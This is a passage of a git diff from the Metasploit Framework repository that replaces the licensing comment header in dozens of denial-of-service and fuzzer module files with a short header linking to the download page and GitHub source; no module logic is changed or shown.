Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wifi/wifun.rb b/modules/auxiliary/dos/wifi/wifun.rb index 42254a1df9..b6bc822bfb 100644 --- a/modules/auxiliary/dos/wifi/wifun.rb +++ b/modules/auxiliary/dos/wifi/wifun.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb index 05b871cd0e..4c8f6ef849 100644 --- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb +++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb index 79462a780e..5fbea5956e 100644 --- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb +++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb index 2b6c0dd929..7ea81bd7e1 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index b281a7e522..7ea991c86e 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb index 12b92257bc..5bc4e21f7c 100644 --- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb +++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb index f848328811..a55cc02e61 100644 --- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb +++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index f1d237f174..b123f78e0d 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 492b28315f..986c0cca98 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb index 1d10f2a88e..cd504fd469 100644 --- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb +++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb index 7f4c493c47..e864d1545d 100644 --- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb +++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb index ef9e2a55a9..7ddb964100 100644 --- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb index f48fddd2c5..ff3629126d 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb index a6b4d5b8d8..7770a54258 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index 50cf683850..41afbc6455 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb index 072192c330..ac4f9a5173 100644 --- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb +++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index fa9b478adf..1d31454ac9 100644 --- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index fd2459aa64..3343ab591f 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb index f5292124eb..23f140a217 100644 --- a/modules/auxiliary/dos/windows/nat/nat_helper.rb +++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index d05fd61c17..f029dc542e 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index 77d816b156..b73ec3979e 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index 7d39614546..0184622906 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index 257dbc8430..03a9cb27e8 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 73f10eac96..a4c3c74e6c 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb index d8ab51f551..501a3dcfb2 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb index cffd26ef90..ac1db873db 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index 2ce6755856..a329698b66 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index 2e813d57ac..d728811a89 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index 45ba4b330c..01ad7774b4 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index c03f3d6031..2e3f4d9f5a 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb index 7ae44021af..773a4d65b6 100644 --- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb +++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb index e269f0503c..b9a3d14e9a 100644 --- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb +++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index be6d4c13c3..1478a649a8 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb index 6761204944..e8f241cb3b 100644 --- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb +++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb index 17aff5d6a1..51b300be0c 100644 --- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb +++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index 2eea63dc3c..6c2250bedf 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb index a2363cddd5..447f3b91d0 100644 --- a/modules/auxiliary/dos/wireshark/cldap.rb +++ b/modules/auxiliary/dos/wireshark/cldap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index 6d6ff6ac55..4b8b818566 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 6bd13bb7a6..640a0ca58f 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index 7087fe017e..e1819f6a0e 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # # Fuzzer written by corelanc0d3r - # http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/ diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index da1421e318..c341d80630 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 23d6117f09..0e3f0a0454 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb index 5074973f5c..434d835a97 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb index 76fcab5766..5acbdcdfc2 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb index 09ab83fbff..248f9c0c49 100644 --- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index e17b55c9b6..532bab88fb 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index db63e280c8..cc0f542eff 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb index 0e1d929a93..1252c6c01e 100644 --- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index b98699832f..fa74793808 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ 